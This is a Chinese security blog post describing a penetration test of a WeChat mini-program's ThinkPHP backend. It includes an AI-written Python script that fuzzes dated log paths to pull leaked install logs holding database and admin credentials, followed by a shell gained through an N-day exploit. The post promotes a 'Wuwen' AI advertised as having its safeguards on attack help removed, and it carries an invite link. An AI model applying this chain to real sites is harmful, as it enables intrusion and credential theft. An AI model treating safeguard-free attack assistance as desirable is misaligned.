基于无问社区AI的一次小程序渗透

admin 2025年3月17日21:25:31评论10 views字数 2528阅读8分25秒阅读模式
前言:本文仅限技术研究与讨论,严禁用于非法用途,否则产生的一切后果自行承担。
最近的一次渗透小项目中,发现自己对web网页的思路基本枯竭,于是转向小程序发现新的攻击点。
基于无问社区AI的一次小程序渗透
在小程序中嵌入了另一个小程序,yakit+proxifier抓取流量发现了其web站http://xxxx.cn。
基于无问社区AI的一次小程序渗透
访问则提示进入小程序查看,此时感觉道路已经被堵死,但返回yakit看流量发现其都会调用http://xxxx.cn/api.php/xxxx,直接在web站拼接api.php试试
基于无问社区AI的一次小程序渗透
此时一些基础配置就暴露了出来,那么也就是说在web站其实是可以访问一些东西的。fuzz目录发现了一些返回200的文件,逐个分析发现https://xxx/composer.json中返回了一些基本特征
基于无问社区AI的一次小程序渗透
开源-Thinkphp成了关键词,此时就无脑先来一波Thinkphp扫描,当然也是没有任何成果。进而转向开源,找到目标源码先利用Nday测试。由于本人很懒,也就直接问AI关于系统的Nday了。这里我用了无问社区AI,无问社区AI是一个专门帮助渗透的大模型,解除了原本AI基于渗透的限制。
基于无问社区AI的一次小程序渗透
无问社区AI帮我提供了两个Nday,写的步骤也很完善。逐个测试,一个在后台先搁置,另一个这里没有成功。
继而转向代码的查看:
基于无问社区AI的一次小程序渗透
发现其实日志泄露仍然存在,但是工具没有扫描出来。再根据原有漏洞细节去分析,原来漏洞点在/runtime/log/xxxx/xx.log,现在在下面加入了一个文件夹去限制。这个时候则可以继续问ai写入一个代码去测试,因为这个漏洞中,日期是随机的,所以需要去fuzz。
无问ai也是响应很快,直接写了一个py脚本去帮助测试。代码如下:
import requestsfrom datetime import datetime, timedeltadef generate_date_range(start_date, end_date):    """    生成从 start_date 到 end_date 的每一天的日期列表。    :param start_date: 起始日期 (datetime 对象)    :param end_date: 结束日期 (datetime 对象)    :return: 日期列表    """    date_list = []    current_date = start_date    while current_date <= end_date:        date_list.append(current_date)        current_date += timedelta(days=1)    return date_listdef check_log_leak(base_url, date):    """    检查特定日期的日志文件是否存在并可访问。    :param base_url: 基础URL    :param date: 日期 (datetime 对象)    :return: 如果找到日志文件,则返回True;否则返回False    """    # 构造日志文件路径    log_path = f"/runtime/index/log/{date.strftime('%Y%m')}/{date.day}.log"    full_url = base_url.rstrip('/') + log_path    try:        response = requests.get(full_url, timeout=5)        # 只处理状态码为200的情况        if response.status_code == 200:            print(full_url)  # 输出URL            return True    except requests.RequestException:        pass  # 忽略所有异常,不输出任何内容    return Falsedef main():    # 配置基础信息    target_url = "http://192.168.124.87/"  # 修改为目标站点的基础URL    start_date_str = "2024-07-01"  # 开始日期    end_date_str = "2025-07-31"  # 结束日期    # 将字符串转换为 datetime 对象    start_date = datetime.strptime(start_date_str, "%Y-%m-%d")    end_date = datetime.strptime(end_date_str, "%Y-%m-%d")    # 生成日期列表    dates = generate_date_range(start_date, end_date)    # 检查每个日期的日志文件    for date in dates:        check_log_leak(target_url, date)if __name__ == "__main__":    main()
基于无问社区AI的一次小程序渗透
直接获取了本地搭建的所有日志文件,然后测试正式站也是成功拿下。但是这里日志仅仅泄露了一些基本的信息,一些库名表名等,危害基本为0。在通过代码去翻阅,发现在下面的文件夹中也存在日志泄露。
基于无问社区AI的一次小程序渗透
路径:runtime/install/log/xx.log
基于无问社区AI的一次小程序渗透
在用AI分析路径,则发现这是安装时留下的日志。安装时当然要配置数据库和用户账户密码,这里的危害就很大了。那么就继续让AI生成脚本,从正式站获取log文件。
基于无问社区AI的一次小程序渗透
获取脚本再次fuzz成功拿到log文件,解密登录正式站,并拿到了数据库账号密码。
基于无问社区AI的一次小程序渗透
基于无问社区AI的一次小程序渗透
此时回想之前无问AI提供的Nday,尝试利用该Nday,直接利用成功getshell,也是美美提交了。
当然完成之后我们应该去关注原理本身,比如Thinkphp为什么会产生日志泄露,如何防范。
基于无问社区AI的一次小程序渗透
可以通过无问AI去做一个深度学习,做到一个闭环。
有了AI的辅助可以让渗透更为便捷快速,但有一些AI会被限制回答,在实际渗透中需要无问AI这样的大模型。
这里为师傅们提供了无问社区邀请链接地址:
https://www.wwlib.cn/index.php/login/icode/c0af4e9a40d5555f
基于无问社区AI的一次小程序渗透
访问即可对话AI。

原文始发于微信公众号(shadowsec):基于无问社区AI的一次小程序渗透

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年3月17日21:25:31
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   基于无问社区AI的一次小程序渗透https://cn-sec.com/archives/3849818.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息